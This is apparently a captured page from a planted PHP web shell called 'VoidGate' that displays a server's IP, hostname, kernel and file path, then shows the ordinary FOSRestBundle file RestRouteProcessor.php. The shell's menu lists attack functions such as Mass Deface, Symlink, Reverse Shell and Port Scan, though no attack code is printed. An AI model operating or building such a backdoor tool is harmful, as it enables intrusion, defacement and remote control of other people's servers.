ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Routing
/
Loader
/
Viewing: RestRouteProcessor.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Routing\Loader; use Symfony\Component\Config\Loader\FileLoader; use Symfony\Component\Config\Loader\LoaderInterface; use Symfony\Component\Routing\RouteCollection; /** * Processes resource in provided loader. * * @author Donald Tyler <chekote69@gmail.com> * @author Konstantin Kudryashov <ever.zet@gmail.com> */ class RestRouteProcessor { /** * Import & return routes collection from a resource. * * @param LoaderInterface $loader The Loader * @param mixed $resource A Resource * @param array $parents Array of parent resources names * @param string $routePrefix Current routes prefix * @param string $namePrefix Routes names prefix * @param string $type The resource type * @param string $currentDir Current directory of the loader * * @return RouteCollection A RouteCollection instance */ public function importResource( LoaderInterface $loader, $resource, array $parents = [], $routePrefix = null, $namePrefix = null, $type = null, $currentDir = null ) { $loader = $loader->resolve($resource, $type); if ($loader instanceof FileLoader && null !== $currentDir) { $resource = $loader->getLocator()->locate($resource, $currentDir); } elseif ($loader instanceof RestRouteLoader) { $loader->getControllerReader()->getActionReader()->setParents($parents); $loader->getControllerReader()->getActionReader()->setRoutePrefix($routePrefix); $loader->getControllerReader()->getActionReader()->setNamePrefix($namePrefix); } return $loader->load($resource, $type); } }
Coded With 💗 by
0x6ick